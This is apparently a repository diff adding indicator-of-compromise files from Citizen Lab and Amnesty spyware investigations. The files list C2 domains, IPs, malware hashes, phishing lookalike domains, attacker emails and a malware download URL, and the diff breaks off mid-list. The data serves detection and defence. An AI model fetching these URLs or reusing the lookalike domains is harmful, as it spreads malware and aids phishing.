+087fc1217c897033425fe7f1f12b913cd48918c875e99c25bdb9e1ffcf80f57e \ No newline at end of file diff --git a/data/ioc/spyware/amnesty/README.md b/data/ioc/spyware/amnesty/README.md new file mode 100644 index 0000000..49f90ea --- /dev/null +++ b/data/ioc/spyware/amnesty/README.md @@ -0,0 +1,5 @@ +# Investigations + +This repository contains indicators of compromise extracted from some of Amnesty International's technical investigations in targeted threats against human rights defenders. + +These indicators are shared under the license [CC-BY](https://creativecommons.org/licenses/by/2.0/). diff --git a/data/ioc/spyware/citizen_lab/201510_NGO_Burma/README.md b/data/ioc/spyware/citizen_lab/201510_NGO_Burma/README.md new file mode 100644 index 0000000..ed9aeb3 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201510_NGO_Burma/README.md @@ -0,0 +1,8 @@ +## Attacks on NGO in Burma IOCs + +This directory contains IOC from the Citizen Lab report [Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites](https://citizenlab.org/2015/10/targeted-attacks-ngo-burma/) published the 16th of October 2015. + +Files included in this directory: +* openioc.ioc : IOCs in OpenIOC format +* stix.xml : IOCs in STIX XML format +* iocs.csv : IOCs in csv format diff --git a/data/ioc/spyware/citizen_lab/201510_NGO_Burma/iocs.csv b/data/ioc/spyware/citizen_lab/201510_NGO_Burma/iocs.csv new file mode 100644 index 0000000..9c4d5d2 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201510_NGO_Burma/iocs.csv @@ -0,0 +1,24 @@ +uuid,event_id,category,type,value,comment,to_ids,date +581bacca-464c-4997-8812-49798e96ca05,4,Network activity,domain,"usacia.websecexp.com","c2 server from Palo Alto study",1,20151016 +581bacca-5998-41ad-afb4-49798e96ca05,4,Network activity,domain,"webhttps.websecexp.com","c2 server from Palo Alto study",1,20151016 +581bacca-ad18-4ff6-b8b5-49798e96ca05,4,Network activity,domain,"appeur.gnway.cc","c2 server from Palo Alto study",1,20151016 +581bacca-eb70-4443-a7d1-49798e96ca05,4,Network activity,domain,"usafbi.websecexp.com","c2 server from Palo Alto study",1,20151016 +581bace8-59d0-4c6e-859a-497a8e96ca05,4,Payload type,text,"9002","",0,20151016 +581bacf2-d924-45bd-a930-49798e96ca05,4,Payload type,text,"3102","The variant is labeled 3102, because it always uses the string “3102” in its first communications with a C2 server",0,20151016 +581bad0a-7524-46f8-9d57-497a8e96ca05,4,Network activity,ip-dst,"198.44.190.85","This IP is a Virtual Private Server (VPS) hosted in the US and owned by VpsQuan",1,20151016 +581bad2c-3a60-4be9-8d21-49798e96ca05,4,Payload delivery,md5,"53f81415ccedf453d6e3ebcdc142b966","Attachments",0,20151016 +581bad2c-d2d4-46f4-b0cb-49798e96ca05,4,Payload delivery,md5,"699b3d90b050cae37f65c855ec7f616a","Attachments",0,20151016 +581bad2c-e744-4a48-ae12-49798e96ca05,4,Payload delivery,md5,"6701662097e274f3cd089ceec35471d2","Attachments",0,20151016 +581bad50-2488-429a-b001-497a8e96ca05,4,Artifacts dropped,md5,"c4c147bdfddffec2eea6bf99661e69ee","ca-bundle.exe",1,20151016 +581bad50-7890-4dcf-8436-497a8e96ca05,4,Artifacts dropped,md5,"cec071424d417a095221bf8992819388","XLBugHandler.dll",1,20151016 +581bad50-8998-4012-926d-497a8e96ca05,4,Artifacts dropped,md5,"5710d567d98a8f4a6682859ce3a35336","lsass.exe",1,20151016 +581bad50-a014-4095-a054-497a8e96ca05,4,Artifacts dropped,md5,"56f0e67d981024ddcc215543698f44fb","mcutil.dll",1,20151016 +581bad50-aea8-4d5f-8e0c-497a8e96ca05,4,Artifacts dropped,md5,"884d46c01c762ad6ddd2759fd921bf71","mcf.exe",1,20151016 +581bad50-d494-4e55-aa91-497a8e96ca05,4,Artifacts dropped,md5,"7e0081fba718fcd71753d3199a290f03","mcf.ep",1,20151016 +581bad60-2a18-44cc-ac40-49798e96ca05,4,Artifacts dropped,md5,"49ceba3347d39870f15f2ab0391af234","xlbug.dat",1,20151016 +581bad77-2c58-479e-833e-497a8e96ca05,4,Network activity,domain,"t1.mailsecurityservice.com","",1,20151016 +581bad77-cde8-4c65-9449-497a8e96ca05,4,Network activity,domain,"t2.mailsecurityservice.com","",1,20151016 +581bad90-56b0-4c8b-ba6b-497a8e96ca05,4,Internal reference,link,"https://citizenlab.org/2015/10/targeted-attacks-ngo-burma/","",0,20151016 +5824e57b-8458-4669-b6a0-497a8e96ca05,4,Attribution,whois-registrant-email,"wojiaojilao2@sohu.com","",0,20151016 +5824e58f-be40-407d-b91b-497a8e96ca05,4,Network activity,domain,"iyouthen.com","Identified through passive DNS",1,20151016 +5824e5f1-d174-487e-9156-497a8e96ca05,4,Payload delivery,url,"http://www.hjclub.info/bbs/uploadfiles/45/ca-bundle.exe","",1,20151016 diff --git a/data/ioc/spyware/citizen_lab/201510_NGO_Burma/openioc.ioc b/data/ioc/spyware/citizen_lab/201510_NGO_Burma/openioc.ioc new file mode 100644 index 0000000..fc03873 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201510_NGO_Burma/openioc.ioc @@ -0,0 +1,77 @@ + + + Event #4 + Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites + + citizenlab + 2015-10-16T00:00:00 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201510_NGO_Burma/stix.xml b/data/ioc/spyware/citizen_lab/201510_NGO_Burma/stix.xml new file mode 100644 index 0000000..5fd49e3 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201510_NGO_Burma/stix.xml @@ -0,0 +1,736 @@ + + + Export from MISP + Threat Report + + + + + + Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites (MISP Event #4) + Threat Report + + + + Payload type: 9002 (MISP Attribute #87) + + + + 9002 + + + + + + Payload type: 3102 (MISP Attribute #88) + The variant is labeled 3102, because it always uses the string “3102” in its first communications with a C2 server + + + + 3102 + + + + + + + + Targeted Malware Attacks against NGO Linked to Attacks on Burmese Government Websites + 4 + + 2015-10-16T00:00:00+00:00 + 2016-11-10T16:26:30+00:00 + + New + + + Artifacts dropped + + Artifacts dropped: c4c147bdfddffec2eea6bf99661e69ee (MISP Attribute #93) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: c4c147bdfddffec2eea6bf99661e69ee (MISP Attribute #93) + + + + + + + MD5 + c4c147bdfddffec2eea6bf99661e69ee + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 884d46c01c762ad6ddd2759fd921bf71 (MISP Attribute #94) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 884d46c01c762ad6ddd2759fd921bf71 (MISP Attribute #94) + + + + + + + MD5 + 884d46c01c762ad6ddd2759fd921bf71 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 56f0e67d981024ddcc215543698f44fb (MISP Attribute #95) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 56f0e67d981024ddcc215543698f44fb (MISP Attribute #95) + + + + + + + MD5 + 56f0e67d981024ddcc215543698f44fb + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 7e0081fba718fcd71753d3199a290f03 (MISP Attribute #96) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 7e0081fba718fcd71753d3199a290f03 (MISP Attribute #96) + + + + + + + MD5 + 7e0081fba718fcd71753d3199a290f03 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 5710d567d98a8f4a6682859ce3a35336 (MISP Attribute #97) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 5710d567d98a8f4a6682859ce3a35336 (MISP Attribute #97) + + + + + + + MD5 + 5710d567d98a8f4a6682859ce3a35336 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: cec071424d417a095221bf8992819388 (MISP Attribute #98) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: cec071424d417a095221bf8992819388 (MISP Attribute #98) + + + + + + + MD5 + cec071424d417a095221bf8992819388 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Artifacts dropped + + Artifacts dropped: 49ceba3347d39870f15f2ab0391af234 (MISP Attribute #99) + Malware Artifacts + File Hash Watchlist + Artifacts dropped: 49ceba3347d39870f15f2ab0391af234 (MISP Attribute #99) + + + + + + + MD5 + 49ceba3347d39870f15f2ab0391af234 + + + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Attribution + + Attribution: wojiaojilao2@sohu.com (MISP Attribute #1876) + Malware Artifacts + Attribution: wojiaojilao2@sohu.com (MISP Attribute #1876) + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: usafbi.websecexp.com (MISP Attribute #83) + Malware Artifacts + Domain Watchlist + Network activity: usafbi.websecexp.com (MISP Attribute #83) + + + + + usafbi.websecexp.com + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: usacia.websecexp.com (MISP Attribute #84) + Malware Artifacts + Domain Watchlist + Network activity: usacia.websecexp.com (MISP Attribute #84) + + + + + usacia.websecexp.com + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: webhttps.websecexp.com (MISP Attribute #85) + Malware Artifacts + Domain Watchlist + Network activity: webhttps.websecexp.com (MISP Attribute #85) + + + + + webhttps.websecexp.com + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: iyouthen.com (MISP Attribute #1877) + Malware Artifacts + Domain Watchlist + Network activity: iyouthen.com (MISP Attribute #1877) + + + + + iyouthen.com + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: appeur.gnway.cc (MISP Attribute #86) + Malware Artifacts + Domain Watchlist + Network activity: appeur.gnway.cc (MISP Attribute #86) + + + + + appeur.gnway.cc + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: t1.mailsecurityservice.com (MISP Attribute #100) + Malware Artifacts + Domain Watchlist + Network activity: t1.mailsecurityservice.com (MISP Attribute #100) + + + + + t1.mailsecurityservice.com + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: t2.mailsecurityservice.com (MISP Attribute #101) + Malware Artifacts + Domain Watchlist + Network activity: t2.mailsecurityservice.com (MISP Attribute #101) + + + + + t2.mailsecurityservice.com + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Network activity + + Network activity: 198.44.190.85 (MISP Attribute #89) + Malware Artifacts + IP Watchlist + Network activity: 198.44.190.85 (MISP Attribute #89) + + + + + 198.44.190.85 + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 53f81415ccedf453d6e3ebcdc142b966 (MISP Attribute #90) + Malware Artifacts + File Hash Watchlist + Payload delivery: 53f81415ccedf453d6e3ebcdc142b966 (MISP Attribute #90) + + + + + + + MD5 + 53f81415ccedf453d6e3ebcdc142b966 + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 6701662097e274f3cd089ceec35471d2 (MISP Attribute #91) + Malware Artifacts + File Hash Watchlist + Payload delivery: 6701662097e274f3cd089ceec35471d2 (MISP Attribute #91) + + + + + + + MD5 + 6701662097e274f3cd089ceec35471d2 + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: 699b3d90b050cae37f65c855ec7f616a (MISP Attribute #92) + Malware Artifacts + File Hash Watchlist + Payload delivery: 699b3d90b050cae37f65c855ec7f616a (MISP Attribute #92) + + + + + + + MD5 + 699b3d90b050cae37f65c855ec7f616a + + + + + + + + + + + + + None + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + Payload delivery + + Payload delivery: http://www.hjclub.info/bbs/uploadfiles/45/ca-bundle.exe (MISP Attribute #1878) + Malware Artifacts + URL Watchlist + Payload delivery: http://www.hjclub.info/bbs/uploadfiles/45/ca-bundle.exe (MISP Attribute #1878) + + + + + http://www.hjclub.info/bbs/uploadfiles/45/ca-bundle.exe + + + + + + + + + + + High + Derived from MISP's IDS flag. If an attribute is marked for IDS exports, the confidence will be high, otherwise none + + + + + + + Payload type + + + + Payload type + + + + + + Event Threat Level: High + + + MISP Tag: TLP:GREEN + + + MISP Tag: SOURCE:CITIZENLAB + + + MISP Tag: DETECT + + + MISP Tag: PUBLISHED + + + + + citizenlab + + + https://citizenlab.org/2015/10/targeted-attacks-ngo-burma/ + + + + + ../../../descendant-or-self::node() + + + + + + + + + diff --git a/data/ioc/spyware/citizen_lab/201512_PackRAT/README.md b/data/ioc/spyware/citizen_lab/201512_PackRAT/README.md new file mode 100644 index 0000000..beb92d9 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201512_PackRAT/README.md @@ -0,0 +1,11 @@ +## Packrat IOCs + +This directory contains IOC from the Citizen Lab report ["Packrat: Seven Years of a South American Threat Actor"](https://citizenlab.org/2015/12/packrat-report/) published the 8th of December 2015. + +Files included in this directory: +* openioc.ioc : IOCs in OpenIOC format +* stix.xml : IOCs in STIX XML format +* iocs.csv : IOCs in csv format +* domains.csv - list of domain, ip resolution at time of investigation and relevant date +* md5-c2.csv - list of MD5 hashes and their associated malware family and command and control server domains +* assorted.csv - additional miscellaneous indicators of compromise. diff --git a/data/ioc/spyware/citizen_lab/201512_PackRAT/assorted.csv b/data/ioc/spyware/citizen_lab/201512_PackRAT/assorted.csv new file mode 100644 index 0000000..629c600 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201512_PackRAT/assorted.csv @@ -0,0 +1,65 @@ +android-flash.com +apaezb@tutanota.com +autorizacion-gmail.com +bit.ly/1wl3YE2 +blackboxmusic.co +boletin@no-creo.info +carlosuurbina@gmail.com +confirmation-blackberry.com +confirmation-facebook.com +confirmation-icloud.com +confirmation-outlook.com +confirmation-twitter.com +confirmation-yahoo.com +deyrep.com +ecuadorenvivo.co +emilio.palacio35@gmail.com +focusecuador.tk +focusedtior1@gmail +guillermolasso@tutanota.com +idapaez@outlook.com +info@no-creo.info +inyurl.com/q4kaf68 +janethehinostroza@hotmail.com +justicia-desvinculados.com +lavozamericana.info +lavozamericana.info +login-office365.com +login-office365.com +login-outlook.com +logon-outlook.com +main-local-latam-soporte-widget.cu9.co +main-local-latam-widget-soporte.cu9.co +mgoogle.us +movimiento.anti.correista@gmail.com +movimientoanticorreista.com +no-creo.info +no.response.delivery.es@gmail.com +no.response.delivery.us@gmail.com +noticias@ecuadorenvivo.co +oficinacarlosvera@hotmail.com +Pancaliente.info +periodistasnarcos@gmail.com +soporte-gmail.com +soporte-login-account-gmail.tk +soporte-login-account-yahoo.tk +soporte-main-local-latam-es.cu9.co +soporte-main-local-latam-us.cu9.co +soporte-yahoo.com +soporte@gm-2013.twomini.com +suport-team@us-gooogle.ws +support-gmail.com +support-java.com +support-login-validate-outlook.tk +support-whatsapp.com +support-whatsapp.com +tinyurl.com/ol6qzec +tinyurl.com/pl843ws +tinyurl.com/px28gsa +tinyurl.com/q3zdyk8 +tinyurl.com/q4kaf68 +tinyurl.com/qxzz6ky +update-outlook.info +us-main-local-latam-soporte-widget.cu9.co +verify-gmail-support-secure.tk +web-google.cu9.co diff --git a/data/ioc/spyware/citizen_lab/201512_PackRAT/domains.csv b/data/ioc/spyware/citizen_lab/201512_PackRAT/domains.csv new file mode 100644 index 0000000..19af278 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201512_PackRAT/domains.csv @@ -0,0 +1,23 @@ +Domain,Relevant resolution,Relevant date +deyrep24.ddns.net,50.62.133.49,"November 7th, 2014" +deyrep24.ddns.net,192.169.243.65,"March 3rd, 2015" +daynews.sytes.net,192.169.243.65,"March 3rd, 2015" +daynews.sytes.net,190.20.180.181,"March 1st, 2015" +taskmgr.serveftp.com,190.210.180.181,"August 11th, 2014" +taskmgr.serveftp.com,201.52.24.126,"July 23rd, 2014" +taskmgr.serveftp.com,186.220.1.84,July 11th 2014 +taskmgr.servehttp.com,186.220.1.84,"June 24th, 2014" +taskmgr.servehttp.com,201.52.24.126,"July 23rd, 2014" +taskmgr.servehttp.com,186.220.1.84,July 11th 2014 +taskmgr.servehttp.com,186.220.11.67,"August 15th, 2014" +taskmgr.redirectme.com,201.52.24.126,"July 23rd, 2014" +taskmgr.redirectme.com,186.220.1.84,July 11th 2014 +ruley.no-ip.org,186.220.1.84,July 11th 2014 +ruley.no-ip.org,189.100.148.188,"September 6th, 2012" +lolinha.no-ip.org,189.100.148.188,"September 6th, 2012" +wjwj.no-ip.org,189.100.148.188,"September 6th, 2012" +conhost.servehttp.com,186.220.11.67,"August 15th, 2014" +dllhost.servehttp.com,186.220.11.67,"August 15th, 2014" +wjwjwj.no-ip.org,179.208.187.216,"March 25th, 2014" +wjwjwj.no-ip.org,186.220.1.84,"June 24th, 2014" +wjwjwjwj.no-ip.org,179.208.187.216,"March 25th, 2014" diff --git a/data/ioc/spyware/citizen_lab/201512_PackRAT/iocs.csv b/data/ioc/spyware/citizen_lab/201512_PackRAT/iocs.csv new file mode 100644 index 0000000..aec4f02 --- /dev/null +++ b/data/ioc/spyware/citizen_lab/201512_PackRAT/iocs.csv @@ -0,0 +1,137 @@ +uuid,event_id,category,type,value,comment,to_ids,date +035cef0c-ab5b-4870-8a2d-3fffb2002a86,12,Network activity,domain,"www.blackboxmusic.co","",1,20161104 +04da6270-0f60-44e0-a68c-bb6d0eb89d84,12,Artifacts dropped,md5,"695db7dd3b1daf89f2c56d59faecc088","CyberGate",1,20161108 +075b1d0f-b7b2-4571-bd0c-9a2ad1c98663,12,Artifacts dropped,md5,"93b630891db21a4a2350280a360c713d","CyberGate",1,20161108 +078ea337-c004-430a-87d7-982e517f81c4,12,Artifacts dropped,md5,"4a23a1d6779d199aaa582cf0a5868ad1","Adzok",1,20161108 +080d5bfb-0924-48a0-8b75-37104a301e1c,12,Network activity,ip-dst,"201.52.24.126","",1,20161104 +09e60b2e-a849-4dc3-9910-59cd78bc3f82,12,Artifacts dropped,md5,"5a8975873f52436377d8fb0b5ab0d87a","CyberGate",1,20161108 +0a4ead27-a700-45f4-bcd0-b469d002b231,12,Network activity,ip-dst,"189.100.148.188","",1,20161104 +0c0abe15-22aa-433f-9a15-0b8196c3a99a,12,Network activity,domain,"venezuela365.com","",1,20161104 +0e4cc2f6-8b32-489a-8f86-6279b96ff313,12,Network activity,url,"http://ecuadorenvivo.co/videos/el-meme-que-volvio-loco-a-correa.html","",1,20161104 +0fabddd8-3837-4d33-bb62-efc4edfe67a5,12,Network activity,domain,"supportgmai1.com","",1,20161104 +1013af0f-98ea-44cf-8c57-d5dfcc2a9398,12,Network activity,domain,"conhost.servehttp.com","",1,20161104 +102812f0-1515-475b-85c9-fe3b9f298322,12,Network activity,domain,"mail-account-update.com","",1,20161104 +11c2de46-6ded-4948-914e-a8acff9ff027,12,Artifacts dropped,md5,"ce6065346a918a813eeb58bbb0814a23","CyberGate",1,20161108 +1242c1d0-3d53-48f2-a30f-f6566a46b262,12,Artifacts dropped,md5,"efc0009d76a2057f86c5f00030378c72","AlienSpy",1,20161108 +17548c65-6dd6-473f-b79c-9ad3095fb9b2,12,Artifacts dropped,md5,"a73351623577f44a2b578fed1e78e37e","CyberGate",1,20161108 +19da57bf-1c40-4472-a9e1-696a56ff0d12,12,Network activity,domain,"update-outlook.info","",1,20161104 +1b9f7074-c66c-472d-8917-0592bd07202e,12,Network activity,domain,"verify-gmail-support-secure.tk","",1,20161104 +1c9844bb-53a7-4c6d-859a-864d802fb755,12,Network activity,ip-dst,"198.12.150.249","",1,20161104 +1d17b791-20fd-4a0b-b074-36282e6fe9b9,12,Network activity,domain,"support-java.com","",1,20161104 +1f129d35-b9b2-42b4-81f6-8903c25c7080,12,Network activity,domain,"taskmgr.serveftp.com","",1,20161108 +1fcd075d-0b8f-42d9-852d-31813ae49879,12,Network activity,domain,"chavistas24.com","",1,20161104 +2034aaac-cd1a-4f24-9c9e-a622763cc35a,12,Artifacts dropped,md5,"15ebe16cd9500de534d5bfd5eeceaf73","CyberGate",1,20161108 +22c32e7b-f0a5-4e57-8821-a080cb880cdb,12,Network activity,domain,"mesvr.com","",1,20161104 +2738530c-979b-43ef-a7a3-6e509d38d073,12,Artifacts dropped,regkey,"HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\msconfig","",1,20161104 +29d3b93f-a8c7-46f0-8aaa-d5b1d3a7efa6,12,Network activity,domain,"dllhost.servehttp.com","",1,20161104 +2b8e7578-2b1b-4ee4-b690-812825551490,12,Network activity,domain,"deyrep24.ddns.net","C2 server",1,20161108 +2bcfdd38-8a5d-4512-b575-9b06096bed81,12,Network activity,domain,"ns1.ukraine.com.ua","",1,20161104 +2cd0f135-c88d-4a89-8cd4-bbc6cd3efa0f,12,Artifacts dropped,md5,"01dec1b1d0760d5a1a562edcfeb478d1","CyberGate",1,20161108 +2de6d004-f85c-4967-9aaf-f6a2bd9f4349,12,Network activity,ip-dst,"46.246.89.246","",1,20161104 +32c1f9d8-b15a-4f28-a91d-1d781b28aaa0,12,Network activity,domain,"n1.login-office365.com","",1,20161104 +33a05e11-fe8c-47e0-b8a2-55b568df6adf,12,Network activity,domain,"focusecuador.tk","",1,20161104 +341b2a91-d835-4766-8a27-d0a04cf9af90,12,Artifacts dropped,md5,"a74ef893b1bf21c9df6d8e31285db981","CyberGate",1,20161108 +378b1659-18cc-484d-aa90-df1a36849693,12,Artifacts dropped,md5,"1e6d0b59d4fb7650453c207688385f3a","CyberGate",1,20161108 +395f1ba8-c107-4622-a845-f2a2e2660b64,12,Network activity,domain,"movimientoanticorreista.com","",1,20161104 +3a638a7b-6cc4-4cfe-940c-921fb417e79c,12,Artifacts dropped,md5,"c2237e9d415f542ce6e73adb260af123","Xtreme RAT",1,20161108 +3b6d91fc-6693-453e-b8d0-9a0955b12a9c,12,Network activity,url,"http://ecuadorenvivo.com/videos/el-meme-que-volvio-loco-a-correa.html","",1,20161104 +3cd6d0dd-13e7-40b1-adaf-957bedfc212b,12,Artifacts dropped,md5,"7b2cb5249d704cb1df8d4210e7c3d553","CyberGate",1,20161108 +438fd35d-28ff-4669-a2c6-d3606ad95501,12,Payload delivery,email-src,"enripintos123@outlook.es","",1,20161104 +440b7b2b-7d18-4a95-a95c-f4d80412535c,12,Artifacts dropped,md5,"e03be1849ad7cecba1e20923074cd22f","CyberGate",1,20161108 +475c2ee5-d819-4a55-bb4d-1d909905c039,12,Artifacts dropped,md5,"d2adecc6287dd4d559fe6ce2ce7a7e31","Cybergate",1,20161108 +491292ff-d9e0-481e-aed8-575ac817cff9,12,Network activity,domain,"asambleanacional-gob-ec.cu9.co","",1,20161104 +4982d975-2425-4c0e-8709-8ea8c3743372,12,Payload delivery,email-src,"no-responder@supportgmai1.com","",1,20161104 +4e2e0b4c-8e54-40bc-9432-152d34b9980b,12,Network activity,domain,"24.com","",0,20161104 +4e37e013-f1ce-4df9-ae83-f04eb6b18ba9,12,Network activity,domain,"taskmgr.redirectme.com","",1,20161104 +50dd1978-ed90-48a0-8fae-f841d7d26c0e,12,Network activity,domain,"cu9.co","",1,20161104 +521771b2-16c0-44e8-b1c6-0dedfe52a93f,12,Network activity,url,"http://pancaliente.info/los-negocios-secretos-de-leocenis-garcia-y-gonzalo-tirado","",1,20161104 +53063744-8009-4309-823f-44ac089a9f4d,12,Network activity,domain,"formmail.com","",1,20161104 +53d09cce-3d68-4a76-bddb-118176b5eda6,12,Artifacts dropped,md5,"2de51e74fd571319bbf763ec62781096","AlienSpy",1,20161108 +55ab0c50-6ba9-44f0-bbf5-e30f13396fba,12,Artifacts dropped,md5,"1e4265a0c37773c2372b97bb6630ae57","Adzok",1,20161108 +55bc7d1d-b8c1-404a-ba53-0e81f893bf4f,12,Payload delivery,email-src,"movimiento.anti.correista@gmail.com","",1,20161104 +568339a3-cddf-4539-8e40-f2d726a5341b,12,Network activity,domain,"ecuadorenvivo.com","",1,20161104 +56e407af-b034-469f-833e-4261d12f4e3f,12,Network activity,ip-dst,"179.208.187.216","",1,20161104 +576bf524-78bd-47b8-9ae0-54ecea1bb4af,12,Network activity,domain,"ns1.deyrep.com","",1,20161104 +581c127f-fca8-4148-9a35-497a8e96ca05,12,External analysis,link,"https://citizenlab.org/2015/12/packrat-report/","",0,20161108 +582243bb-0f34-4775-9d56-49798e96ca05,12,Payload type,text,"CyberGate","",0,20161108 +582243bb-28a4-4ba0-bb04-49798e96ca05,12,Payload type,text,"Adzok","",0,20161108 +582243bb-c8d8-4986-a6f6-49798e96ca05,12,Payload type,text,"Xtreme RAT","",0,20161108 +582243bb-f194-4e73-8e86-49798e96ca05,12,Payload type,text,"AlienSpy","",0,20161108 +5f6ed532-7034-4529-8f1f-eca4f3ead06a,12,Network activity,domain,"soporte-login-account-yahoo.tk","",1,20161104 +613fc81a-9472-402a-864f-ba796bd820f9,12,Network activity,domain,"n4.pancaliente.info","",1,20161104 +63f47613-ca7a-4a85-859b-55acf0440a1a,12,Network activity,ip-dst,"50.63.202.57","",1,20161104 +64c9eefd-aabd-47be-8a66-56a3f777fca0,12,Network activity,domain,"taskmgr.redirectme.net","",1,20161104 +65be605b-ce44-483a-9398-c9b6c1d2584f,12,Network activity,domain,"s1.mgoogle.us","",1,20161104 +665a391e-0346-477b-8062-0e093fba3333,12,Artifacts dropped,md5,"a09f100ddc7cf29f8a93a3d7a79c58b9","CyberGate",1,20161108 +668f1383-b9db-44fb-ab01-49537c77ad1e,12,Network activity,domain,"blackboxmusic.co","",1,20161104 +694b6503-2ef8-4da9-8adf-1eaf5b0393c8,12,Artifacts dropped,md5,"2d722592a4e3c8030410dccccb221ce4","CyberGate",1,20161108 +69d8d573-3f23-493b-97f4-8fa6b4cf9f1b,12,Artifacts dropped,md5,"2827450763b55c5e71fda3caaf8e75f9","Xtreme RAT",1,20161108 +6cb4f4a0-1cf6-4cf4-98c2-5b9b93ff9867,12,Artifacts dropped,md5,"8fb96dfab7e4c0acb1eb9f4e950ba4b9","AlienSpy",1,20161108 +74bc6c34-77bb-4328-9edc-75059585e539,12,Network activity,domain,"mgoogle.us","",1,20161104 +77cc5d54-a422-4f1b-ab2f-167cdfde8bef,12,Network activity,domain,"focusecuador.net","",1,20161104 +7908fe7c-4346-4810-9f79-3ad2a8b93fd6,12,Network activity,domain,"n2.login-office365.com","",1,20161104 +7a7a2e9e-8e1e-45c7-ba5d-c6d6ce59465a,12,Network activity,domain,"ns1.hostinger.ru","",1,20161104 +7a948702-dd5c-46da-93e6-37d7bc088693,12,Network activity,ip-dst,"190.20.180.181","",1,20161104 +7b018a95-eb5d-4226-a5ca-9e32f4b288e4,12,Network activity,domain,"deyrep.com","",1,20161104 +7ca51a3d-b093-497f-accf-00bca0964287,12,Network activity,domain,"ns2.deyrep.com","",1,20161104 +809f7cd8-5a6f-4e4e-baca-d148180828b7,12,Network activity,url,"http://mail.asambleanacional.gob.ec","",1,20161104 +8149df18-d5b8-4b8f-9ebf-48676f586058,12,Network activity,ip-dst,"193.105.134.27","",1,20161104 +823b71a4-5bcc-4c16-bd79-816b1b6e70d9,12,Network activity,domain,"justicia-desvinculados.com","",1,20161104 +83aa404a-cb12-407c-993c-1ff9b7fa1947,12,Network activity,domain,"ftp.server.com","",1,20161104 +83bc4a8a-fe39-48d7-b26c-f4e4bfe08cde,12,Network activity,domain,"lolinha.no-ip.org","",1,20161104 +85d91d34-8222-4b2e-b154-0b394ec75fe3,12,Artifacts dropped,md5,"3a61d64986ee6529cee271ab6754faa5","CyberGate",1,20161108 +887aba05-4662-4967-8d93-09cb8b3d7685,12,Network activity,domain,"n1.support-java.com","",1,20161104 +88a1c5b7-d445-49fc-aa75-7ee28b069510,12,Payload delivery,email-src,"focusedtior1@gmail.com","",1,20161104 +89db0f38-a183-45b8-9503-69828bf29412,12,Network activity,ip-dst,"192.169.243.65","IP address linked to deyrep24.ddns.net",1,20161108 +8ae2e6c9-806a-4a57-aa17-aed767339990,12,Artifacts dropped,md5,"d7f34168b1a7dd7cbd8e62a5ab1ebc0e","Xtreme RAT",1,20161108 +8d8d0ac6-1cbe-4d9c-9b3c-8b7dbd1a1ce4,12,Artifacts dropped,md5,"779a79c11f581b84e7c81f321fd8d743","CyberGate",1,20161108 +8ea723f1-5e6d-4984-80a1-c844988006d9,12,Network activity,url,"http://venezuela365.com/wp-content/uploads/2014/10/tirado-g-300×169.jpg","",1,20161104 +8eecda70-e625-413f-b7fc-8451d76f4765,12,Network activity,domain,"ec.cu9.co","",1,20161104 